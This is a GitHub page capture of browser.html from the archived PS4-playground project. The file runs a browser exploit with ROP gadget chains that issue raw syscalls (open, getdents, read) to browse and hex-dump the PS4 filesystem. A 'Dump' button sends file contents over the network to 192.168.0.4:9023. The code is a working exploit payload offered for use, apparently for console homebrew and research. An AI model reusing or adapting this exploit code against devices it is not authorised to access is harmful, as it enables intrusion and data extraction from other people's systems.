This repository was archived by the owner on Oct 13, 2019. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 84
/
Copy pathbrowser.html
174 lines (130 loc) · 4 KB
/
browser.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
<!DOCTYPE html>
<html>
<head>
<title>PS4-playground</title>
<link rel="stylesheet" type="text/css" href="css/main.css">
<script type="text/javascript" src="js/utils.js"></script>
<script type="text/javascript" src="js/exploit.js"></script>
<script type="text/javascript" src="js/network.js"></script>
<script type="text/javascript" src="js/just-rop.js"></script>
<script type="text/javascript" src="js/gadgets.js"></script>
<script type="text/javascript">
function load() {
document.getElementById("environment").innerHTML = getEnvironmentInfo();
exploit();
chain = new rop();
var query = getQuery();
var path = query.path;
var type = query.type;
if(!path) {
path = "/";
type = 4;
}
else path = unescape(path);
document.getElementById("path").innerHTML = path;
read(path, type);
}
function read(path, type) {
var output = "<h2><a href=\"browser.html?path=" + path.substring(0, path.lastIndexOf("/")) + "&type=4\">Back</a></h2><br>";
var directory = chain.data;
var contents = chain.data;
var fsize = 0x100000;
var dsize = 512;
zeroMemory(chain.data, dsize);
writeString(directory, path);
chain.syscall("open", 5, directory, 0, 0);
chain.write_rax_ToVariable(0);
// directory
if(type == 4) {
chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, contents, dsize);
}
// file or other
else {
//chain.syscall("mmap", 477, 0, 4096, 1 | 2, 4096, -1, 0);
//chain.write_rax_ToVariable(1);
//chain.add("pop rcx", "ret");
//chain.add("mov rsi, rax; jmp rcx");
chain.read_rdi_FromVariable(0);
//chain.syscall("read", 3, undefined, undefined, size);
chain.syscall("read", 3, undefined, contents, fsize);
}
chain.read_rdi_FromVariable(0);
chain.syscall("close", 6, undefined);
chain.execute(function() {
if(chain.getVariable(0) == 2) {
output += "Does not exist or is not readable";
}
else {
// directory
if(type == 4) {
var entry = contents;
while(1) {
var length = getU8from(entry + 0x4);
if(length == 0) break;
var etype = getU8from(entry + 0x6);
var name = readString(entry + 0x8);
var newPath;
var namedType;
// directory
if(etype == 4) {
namedType = "DIR";
if(name == "..") {
newPath = path.substring(0, path.lastIndexOf("/"));
}
else if(name == ".") {
newPath = path;
}
else {
if(path.slice(-1) == "/") newPath = path + name;
else newPath = path + "/" + name;
}
}
// file
else if(etype == 8) {
namedType = "FILE";
if(path.slice(-1) == "/") newPath = path + name;
else newPath = path + "/" + name;
}
// probably a device
else {
namedType = "OTHER";
if(path.slice(-1) == "/") newPath = path + name;
else newPath = path + "/" + name;
}
output += "<div>[" + namedType + "]: " + "<a href=\"browser.html?path=" + newPath + "&type=" + etype + "\">" + name + "</a>" + "</div>";
entry += length;
}
}
else {
//contents = chain.getVariable(1);
output += hexDump(contents, 512);
output += "<button onclick='fileDump(0x" + contents.toString(16) + ", " + fsize.toString() + ")'>Dump</button>";
}
}
document.getElementById("contents").innerHTML = output;
});
}
function fileDump(contents, fsize) {
chain = new rop();
sendBuffer("192.168.0.4", 9023, contents, fsize);
chain.execute(function() {
logAdd("Dumped");
});
}
</script>
</head>
<body onload="load()">
<div class="header">
<h1>PS4 File Browser</h1>
<h2>CTurt, SKFU, droogie, Xerpi, Hunger, Takezo, nas, Proxima</h2>
<div id="environment"></div>
</div>
<hr>
<h1 id="path"></h1>
<div id="contents" class="browser"></div>
<br>
<hr>
<div id="log"></div>
</body>
</html>